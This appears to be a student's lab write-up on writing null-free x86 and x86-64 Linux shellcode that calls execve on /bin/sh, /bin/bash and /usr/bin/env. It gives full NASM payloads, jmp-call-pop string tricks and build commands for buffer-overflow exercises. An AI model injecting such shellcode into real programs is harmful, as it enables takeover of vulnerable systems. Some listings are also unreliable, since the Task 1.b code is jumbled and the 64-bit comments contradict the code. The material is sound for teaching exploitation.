Writing a Shellcode

If we compile a program and we set the return address field to address the main() function, so when a vulnerable program jumps to the main() of our malicious program, this is not going to work.

- LOADER ISSUE → OS loader→ copy program in memory/setting up the memory(stack/heap)/invoking the dynamic linker to link to the needed library function. After all the initialization is done the main() function of the program will be triggered. If any of the steps is missing, the program will not be able to run correctly. In a buffer overflow attack, the malicious code is not loaded by the OS ; it is loaded directly via memory copy. Therefore, all the essential initialization steps are missing; even if we can jump to the main () function, we will not be able to get the shell program to run.
- ZEROS IN THE CODE →string copying - **strcpy()** - will stop when a zero is found in the source string. When we compile the C code into binary some zeros will exist is the binary code.
    - There is a ' \ 0 ' at the end of the " / bin/ sh " string.
    - There are two NULL's, which are zeros.
    - Whether the zeros in name [0] will become zeros in the binary code depends on the program compilation

Writing a Shellcode: Main Idea

Given the above issues, it is better to write the shellcode program directly in assembly language. The core part of a shellcode is to use the execve() system call to execute "/bin/bash". To use the system call we need to set four registers as follows:

- **%eax** : must contain 11, which is the **system call number** for execve ().
- **%ebx:** must contain the **address of the command string** (e.g . " /bin/sh").
- **%ecx:** must contain the **address of the argument array** ; in our case ,
    - the first element of the array points to the "/bin/ sh " string, while the
    - second element is **0 (which marks the end of the array)**
- **%edx** : must contain the **address of the environment variables** that we want to pass to the new program . We can set it to 0, as we do not need to pass any environment variable.

Setting the value for %ebx we need to know the address of the "/bin/bash" string. We can put the string on the stack using BO, but we may not be able to know its exact memory address. A common idea to eliminate the guessing involved in finding the address, is to use the stack pointer (%esp register) as long as we can figure out the offset of the string from the current stack pointer's position. To succeed in this, instead of copying the string to the stack via BO, we can dynamically push the string into the stack; this way, we can get its address from the %esp register, which always points to the top of the stack.

It is important not to include any zero in the code(since some functions treat ero as the end of the source buffer), to ensure that the entire code is copied into the target buffer. We can generate zeros dynamically in different ways. for example to place zero in %eax register, we

can use the **mov** instruction to put a zero in it, but that will cause zero to appear in the code, an alternative is to use “xor1 %eax, %eax”.

Explanation of Shellcode

The **ESP** register is the stack pointer for the system stack. It is rarely changed directly by a program but is changed when data is pushed onto the stack or popped from the stack. One use for the stack is in procedure calls. the address of the instructions following the procedure call instruction is stored on the stack.
the **EBP** register pointers to the base. normally the only data item accessed in the stack is the one that is at the top of the stack. Although the EBP register is often used to mark a fixed point in the stack other than the top of the stack, for example of such data are the parameters. They are offset from the stack EBP top of the base pointer after the return address. So you will see something like EBP+0x8, EBP+0xC, this is parameters as in 1 and 2 respectively.

Two instructions are needed for invoking a system call.

- The first instruction is to **save the system call number in the %eax register.**
  - The system call number for the execve() system call is 11 (0x0b in hex)
  - The “movb $0x0b, %al” instruction sets %al to 11 (%al represents the lower 8 bits of the %eax register, the other bits of which has already been set to zero due to the xor instruction at the beginning)
- The **“int $0x80” instruction executes the system call.** The int instruction means interrupt. An interrupt transfers the program flow to the interrupt handler. In linux, the “int $0x80” interrupt triggers a switch to the kernel mode, and executes the corresponding interrupt handler, namely, the system call handler. This mechanism is used to make system calls.

Task 1.a: The Entire Process

Compiling to object code.

We compile the assembly code mysh.s using **nasm**, which is an assembler and disassembler for the intel x86 and x64 architectures.

- **-f elf32** → compile the code to 32-bit ELF binary format
  - The **Executable and Linkable Format (ELF)** is a common standard file format for executable file, object code, and shared libraries.
  - For 64-bit assembly code,`elf64` should be used

```
$ nasm -f elf32 mysh.s -o mysh.o
```

Linking to generate final binary

Once we get the object code mysh.o, if we want to generate the executable binary, we can run the linker program **ld**, which is the last step in compilation.

- **-m elf_i386** → generating the 32-bit ELF binary.

After this step we get the file executable code mysh. If we run it, we can get a shell. Before and after running mysh, we print out the current shell's process IDs using echo $$, so we can clearly see that mysh indeed starts a new shell.

```
$ ld -m elf_i386 mysh.o -o mysh
```

Getting the machine code:

Only the machine code is the shellcode, so we have to extract the assembly, disassembling the executable file or object file.

There are two syntax modes for assembly code:

- AT&T syntax mode
- Intel syntax mode

In the following we use the **-Mintel** option to produce the assembly code in the Intel mode.

```
$ objdump -Mintel --disassemble mysh.o
```

```
$ xxd -p -c 20 mysh.o
```

- **-p** | -ps | -postscript | -plain
  → Output in postscript continuous hexdump style. Also known as plain hexdump style.
- **-c** cols | -cols cols
  → Format <cols> octets per line. Default 16 (-i: 12, -ps: 30, -b: 6). Max 256.

The highlighted numbers printed out are machine code. It is possible to use the **xxd** command to print out the content of the binary file.

Using the shellcode in attacking code:

In actual attacks, we need to include shellcode in our attacking code, such as pyhton or C program. We usually store the machine code in an array. but converting the machine code printed above to the array in python and C programs is quite tedious if done manually, especially if we need to perform this process many times. Using the python code[**convert.py**] we can speed up this process. Just copy whatever getted from xxd command(only the shell part) and paste it to the python code convert.py between the lines marked by **“””.** launching the program ./convert.py we get the python code that can be

Task 1.b. Eliminating Zeros from the Code

shellcode is widely used in BO attacks.

mostly caused by strcpy() function → which considers zero as the end of the string.

The code `mysh.s` needs to use zeros in four different places. Please identify all of those places, and explain how the code uses zeros but without introducing zero in the code.

1. There is a ' \0 ' at the end of the "/bin/ sh " string.

2. %ecx: must contain the address of the argument array ; in our case , the first element of the array points to the " /bin/ sh " string, while the **second element is 0 (which marks the end of the array)**
3. %edx : must contain the address of the **environment variables** that we want to pass to the new program . We can set it to 0, as we do not need to pass any environment variable.
4. `xor eax, eax ; eax = 0x00000000 to initialize the registry to after put the 0x0b that means 11 that is the code parameter to pass to the execve() function.` If we want to store `0x00000099` to `eax`. We cannot just use `mov eax, 0x99`, because the second operand is actually `0x00000099`, which contains three zeros. To solve this problem, we can first set `eax` to zero, and then assign a one-byte number `0x99` to the `al` register, which is the least significant 8 bits of the `eax` register.

- xor l %eax , %eax : Using XOR operation on %eax will set %eax to zero, without introducing a zero in the code
- pushl %eax : Push a zero into the stack. This zero marks the end of the "/bin/ sh" string
- pushl %eax : Construct the second item of the name array. Since this item contains a zero, we simply push %eax to this position, because the content of %eax is still zero.
- Setting %edx to zero. The %edx register needs to be set to zero. We can use the XOR approach , but in order to reduce the code size by one byte, we can leverage a different instruction (cdq). This one-byte instruction sets %edx to zero as a side effect. It basically copies the sign bit (bit 31) o f the value in %eax (which is O now), into every bit position in %edx.

- "xor eax, eax" produce 0 since a xor of an element with themself produce 0.
- to store 0x00000099 to eax. We cannot just use mov eax, 0x99, because the second operand is actually 0x00000099, which contains three zeros. to solve this problem, we can first set eax to zero, and then assign a one-byte number 0x99 to the al register, which is the least significant 8 bits of the eax register.
- Another way is to use shift. In the following code, first 0x237A7978 is assigned to ebx. The ASCII values for x, y, z, and # are 0x78, 0x79, 0x7a, 0x23, respectively. Because most Intel CPUs use the small-Endian byte order, the least significant byte is the one stored at the lower address (i.e., the character x), so the number presented by xyz# is actually 0x237A7978. You can see this when you dissemble the code using objdump. After assigning the number to ebx, we shift this register to the left for 8 bits, so the most significant byte 0x23 will be pushed out and discarded. We then shift the register to the right for 8 bits, so the most significant byte will be filled with 0x00. After that, ebx will contain 0x007A7978, which is equivalent to "xyz\0", i.e., the last byte of this string becomes zero.

```
mov ebx, "xyz#"
shl ebx, 8
shr ebx, 8
```

In Line of the shellcode mysh.s, we push "//sh" into the stack. Actually, we just want to push "/sh" into the stack, but the push instruction has to push a 32-bit number. Therefore, we add a redundant / at the beginning; for the OS, this is equivalent to just one single /.
For this task, we will use the shellcode to execute /bin/bash, which has 9 bytes in the command string (10 bytes if counting the zero at the end). Typically, to push this string to the stack, we need to make the length multiple of 4, so we would convert the string to /bin////bash.
However, for this task, you are not allowed to add any redundant / to the string, i.e., the length of the command must be 9 bytes (/bin/bash). Please demonstrate how you can do that. In addition to showing that you can get a bash shell, you also need to show that there is no zero in your code.

—

Task:

spawn a /bin/bash shell without use multiple /// characters.

section .text

```
global _start
        _start:
        ; Store the argument string on stack
```

```
xor  eax, eax
push eax            ; Use 0 to terminate the string
mov eax, "h###"   ; 104 35 35 35 --> 0x68 0x35 0x35 0x35 --> 0x68353535 ---> I.e. = 35353568
shl eax, 24
shr eax, 24
push "/bas"
push "/bin"
mov  ebx, esp      ; Get the string address

xor  eax, eax
push eax            ; Use 0 to terminate the string
push "//sh"
push "/bin"
mov  ebx, esp      ; Get the string address


; Construct the argument array argv[]
push eax            ; argv[1] = 0
push ebx            ; argv[0] points "/bin//sh"
mov  ecx, esp      ; Get the address of argv[]

; For environment variable
xor  edx, edx       ; No env variables

; Invoke execve()
xor  eax, eax       ; eax = 0x00000000
mov   al, 0x0b      ; eax = 0x0000000b
int 0x80
```

I used the technique that shifts the bits.

Task 1.c. Providing Arguments for System Calls

We want to run this command `/bin/sh -c "ls -la"`

```
argv[3] = 0
argv[2] = "ls -la"
argv[1] = "-c"
argv[0] = "/bin/sh"
```

→ [you can find this script inside 01-Shellcode-Labsetup/1c_bin_sh_ls_la]

→ in order to compile this script you have to use the following command:

```
nasm -f elf32 other_mysh.s -o other_mysh.o && ld --omagic -m elf_i386 other_mysh.o -o other_mysh && other_mysh
```

-N --omagic Set the text and data sections to be readable and writable

The following is the code that execute /bin/sh -c "ls -la":

```
section .text
  global _start
      _start:
      ;BITS 32
      jmp short todo

      shellcode:
      xor eax, eax            ;Zero out eax
      xor ebx, ebx            ;Zero out ebx
      xor ecx, ecx            ;Zero out ecx
      cdq                                ;Zero out edx using the sign bit
from eax

      ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
      ; push strings --> Store the argument string on stack --> ebx -->
string of the command
      ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
      ; esi    --> Scratch register.  Also used to pass function argument #2
in 64-bit Linux
      pop esi                 ;Esi contain the string in db
      xor eax, eax

;     7 10 13 17 --> for space
; 18 --> 22 --> 26 --> 30 → indexes for AAAA CBBBB CCCC DDDD

      ; setup the spaces
      mov[esi+7], al     ; //bin/sh
      mov[esi+10], al   ; -c
      mov[esi+13], al   ; ls -al
      mov[esi+17], al   ; ls -al


      mov[esi+18], esi ; store address of //bin/sh in AAAA

      lea ebx, [esi+8] ; load address of -c
      mov[esi+22], ebx ; store address of -c in BBBB taken from ebx

      lea ebx, [esi+11] ; load address of 'ls -al'
      mov[esi+26], ebx         ; store address of 'ls -al' in CCCC taken from
ebx

      mov[esi+30], eax  ;Zero out DDDD load address of NULL


      mov ebx, esi            ; Store address of /bin/sh
      lea ecx, [esi+18]       ;Load address of ptr to argv[] array

      ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
      ; For environment variable -->
      ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
      ;xor  edx, edx    ; No env variables
```

```
      lea edx, [esi+31]

      ; Invoke execve()
      xor  eax, eax      ; eax = 0x00000000
      mov   al, 0x0b     ; eax = 0x0000000b
;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %eax : must contain 11, which is the system
call number for execve ()
      int 0x80

      todo:
      call shellcode
      db "/bin/sh#-c#ls#-al#AAAABBBBCCCCDDDD"
```

Using the following script we can recover the index for the char in the string: "/bin/sh#-c#ls#-al#AAAABBBBCCCCDDDD"

```
;   >>> a = "/bin/sh#-c#ls#-al#AAAABBBBCCCCDDDD"
;   >>> for i,e in enumerate(a):
;   ...   print(';',i,e)
;   ...
; 0 /
; 1 b
; 2 i
; 3 n
; 4 /
; 5 s
; 6 h
; 7 #
; 8 -
; 9 c
; 10 #
; 11 l
; 12 s
; 13 #
; 14 -
; 15 a
; 16 l
; 17 #
; 18 A
; 19 A
; 20 A
; 21 A
; 22 B
; 23 B
; 24 B
; 25 B
; 26 C
; 27 C
; 28 C
; 29 C
; 30 D
; 31 D
; 32 D
```

; 33 D

Task 1.d. Providing Environment Variables for execve()

The following is the code that execute /usr/bin/env with environmental variables aaa=1234 bbb=5678 cccc=1234:

```
; nasm -f elf32 myenv.s -o myenv.o && ld --omagic -m elf_i386 myenv.o -o myenv &&
myenv

section .text
global _start
_start:
       BITS 32
       jmp short two
one:
       xor eax, eax              ;Zero out eax
       xor ebx, ebx              ;Zero out ebx
       xor ecx, ecx              ;Zero out ecx
       cdq                                  ;Zero out edx using the sign bit
from eax

       pop esi                   ;Esi contain the string in db
       xor eax, eax

   ; setup the spaces
       mov[esi+12], al     ; space after /usr/bin/env
       mov[esi+21], al     ; space after aaa=1234
       mov[esi+30], al     ; space after bbb=5678
       mov[esi+40], al     ; space after cccc=1234
       mov[esi+45], eax    ; save the argv[1] = NULL ; Zero out DDDD load address
of NULL
       mov[esi+61], eax    ; --> set FFFF as NULL --> envp[3] = NULL)

       ; save the argv[0]
       mov[esi+41], esi ; store address of /usr/bin/env in AAAA

       mov ebx, esi              ; Store address of /etc/bin/env --> ebx -->
address of the command
       lea ecx, [esi+41]         ; Load address of ptr to argv[] array --> ecx -->
address of the argv[] array


       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
       ; For environment variable -->
       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
       lea edx, [esi+13]         ; load aaa
       mov[esi+49], edx          ; store address of aaa in CCCC taken from edx

       lea edx, [esi+22]         ; load aaa
       mov[esi+53], edx          ; store address of bbb in DDDD taken from edx

       lea edx, [esi+31]         ; load aaa
       mov[esi+57], edx          ; store address of cccc in EEEE taken from edx
```

```
       ;xor  edx, edx      ; No env variables
       lea edx, [esi+49]

       ; Invoke execve()
       xor  eax, eax       ; eax = 0x00000000
       mov   al, 0x0b      ; eax = 0x0000000b        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%eax : must contain 11, which is the system call number for execve ()
       int 0x80

two:
       call one
       db '/usr/bin/env#aaa=1234#bbb=5678#cccc=1234#AAAABBBBCCCCDDDDEEEEFFFF' ;
Here the string used is /usr/bin/env
```

Using the following script we can recover the index for the char in the string:'/usr/bin/env#aaa=1234#bbb=5678#cccc=1234#AAAABBBBCCCCDDDDEEEEFFFF'

```
;>>> a = '/usr/bin/env#aaa=1234#bbb=5678#cccc=1234#AAAABBBBCCCCDDDDEEEEFFFF'
;>>> for i,e in enumerate(a):
;...   print(';',i,e)
;...
; 0 /
; 1 u
; 2 s
; 3 r
; 4 /
; 5 b
; 6 i
; 7 n
; 8 /
; 9 e
; 10 n
; 11 v
; 12 #
; 13 a
; 14 a
; 15 a
; 16 =
; 17 1
; 18 2
; 19 3
; 20 4
; 21 #
; 22 b
; 23 b
; 24 b
; 25 =
; 26 5
; 27 6
; 28 7
; 29 8
; 30 #
; 31 c
; 32 c
; 33 c
```

```
; 34 c
; 35 =
; 36 1
; 37 2
; 38 3
; 39 4
; 40 #
; 41 A
; 42 A
; 43 A
; 44 A
; 45 B
; 46 B
; 47 B
; 48 B
; 49 C
; 50 C
; 51 C
; 52 C
; 53 D
; 54 D
; 55 D
; 56 D
; 57 E
; 58 E
; 59 E
; 60 E
; 61 F
; 62 F
; 63 F
; 64 F
```

Task 2: Using Code Segment

Tasks. You need to do the followings:

(1) Please provide a detailed explanation for each line of the code in `mysh2.s`, starting from the line labeled `one`. Please explain why this code would successfully execute the `/bin/sh` program, how the `argv[]` array is constructed, etc.

our program start at _start: line
BITS 32
and jump to two: line
call one
and pop from the stack the address of return (the one of db '/bin/sh….') into ebx
set eax as 0
save 0 in memory to replace *
save the address of /bin/sh into eb+8 as argv[0]
save '0000' bytes for replace BBBB as argv[1] == NULL
save the address of the instruction argv[0] into ecx

save NULL into edx because there are no enviroment variables
set code 11
int 0x80 → call the interrupt to start the routine

(2) Please use the technique from `mysh2.s` to implement a new shellcode, so it executes `/usr/bin/env`, and it prints out the following environment variables:
a=11
b=22

To compile the program

```
; nasm -f elf32 call.s -o call.o && ld --omagic -m elf_i386 call.o -o call && call
```

The following code is the program used to succeed in the exercise.

```
section .text
global _start
_start:
       BITS 32
       jmp short two
one:
       xor eax, eax          ;Zero out eax
       xor ebx, ebx          ;Zero out ebx
       xor ecx, ecx          ;Zero out ecx
       cdq                                ;Zero out edx using the sign bit from eax

       pop esi               ;Esi contain the string in db
       xor eax, eax

   ; setup the spaces
       mov[esi+12], al       ; space after /usr/bin/env
       mov[esi+17], al       ; space after a=11
       mov[esi+22], al       ; space after b=22
       mov[esi+27], eax      ; save the argv[1] = NULL ; Zero out BBBB load address of NULL
       mov[esi+39], eax      ; --> set EEEE as NULL --> envp[3] = NULL)


       ; save the argv[0]
       mov[esi+23], esi ; store address of /usr/bin/env in AAAA

       mov ebx, esi          ; Store address of /etc/bin/env --> ebx --> address of the
command
       lea ecx, [esi+23]     ; Load address of ptr to argv[] array --> ecx --> address of
the argv[] array

       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
       ; For environment variable -->
       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
       lea edx, [esi+13]     ; load a
       mov[esi+31], edx      ; store address of aaa in CCCC taken from edx

       lea edx, [esi+18]     ; load b
       mov[esi+35], edx      ; store address of bbb in DDDD taken from edx

       lea edx, [esi+31] ; --> load the pointer to the arge[] to the edx

       ; Invoke execve()
       xor  eax, eax  ; eax = 0x00000000
```

```
       mov   al, 0x0b ; eax = 0x0000000b    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; %eax : must
contain 11, which is the system call number for execve ()
       int 0x80

two:
       call one
       db "/usr/bin/env*a=11*b=22*AAAABBBBCCCCDDDDEEEE"     ; [2]

; 12, 17, 22 BBBB, EEEE--> zeroers
```

The following are the mapping of the letter array and the index

```
; 0 /
; 1 u
; 2 s
; 3 r
; 4 /
; 5 b
; 6 i
; 7 n
; 8 /
; 9 e
; 10 n
; 11 v
; 12 *
; 13 a
; 14 =
; 15 1
; 16 1
; 17 *
; 18 b
; 19 =
; 20 2
; 21 2
; 22 *
; 23 A
; 24 A
; 25 A
; 26 A
; 27 B
; 28 B
; 29 B
; 30 B
; 31 C
; 32 C
; 33 C
; 34 C
; 35 D
; 36 D
; 37 D
; 38 D
; 39 E
; 40 E
; 41 E
; 42 E
```

Task 3: Writing 64-bit Shellcode

Task. Repeat Task 1.b for this 64-bit shellcode. Namely, instead of executing "/bin/sh", we need to execute "/bin/bash", and we are not allowed to use any redundant / in the command string, i.e., the

length of the command must be 9 bytes (/bin/bash). Please demonstrate how you can do that. In addition to showing that you can get a bash shell, you also need to show that there is no zero in your code.

The following are the new registry to use in order to perform a syscall execve() call.

```
; rax --> must contain 11, which is the system call number for execve()
; rdi --> address of command --> address
; rsi --> address of argv[] --> address
; rdx --> address of arge[] --> 0

; nasm -f elf64 3_1_new.s -o 3_1_new.o && ld --omagic 3_1_new.o -o 3_1_new && 3_1_new
```

The following is the code to use to succeed in this task.

```
section .text
global _start
_start:
        BITS 64
        jmp short two
one:
        ; The following code calls execve("/bin/bash")
        pop rsi ; recover from the stack the return address

        ; add the zeros
        xor rax, rax            ;Zero out eax
        mov [rsi+9], al
        mov [rsi+18], rax ; set BBBBBBBB as argv[1] = NULL

        ; rdi -->command
        mov rdi, rsi

        ; move the instruction to AAAAAAAA as argv[0]
        mov[rsi+10], rsi
        lea rsi, [rsi+10] ; --> argv[] pointer

        ;set arge[] NULL
        ; rdx --> arge[]
        xor rdx, rdx

        ; set the 11 code for execve() in rax
        xor rax, rax
        mov rax, 0x3b ; 0x3b == 59 --> execve()
        syscall

two:
        call one ; add the return address(db) into the stack and call the routine one
        db "/bin/bash*AAAAAAAABBBBBBBB"


; 0 /
; 1 b
; 2 i
; 3 n
; 4 /
; 5 b
; 6 a
; 7 s
; 8 h
; 9 *
; 10 A
; 11 A
```

; 12 A
; 13 A
; 14 A
; 15 A
; 16 A
; 17 A
; 18 B
; 19 B
; 20 B
; 21 B
; 22 B
; 23 B
; 24 B
; 25 B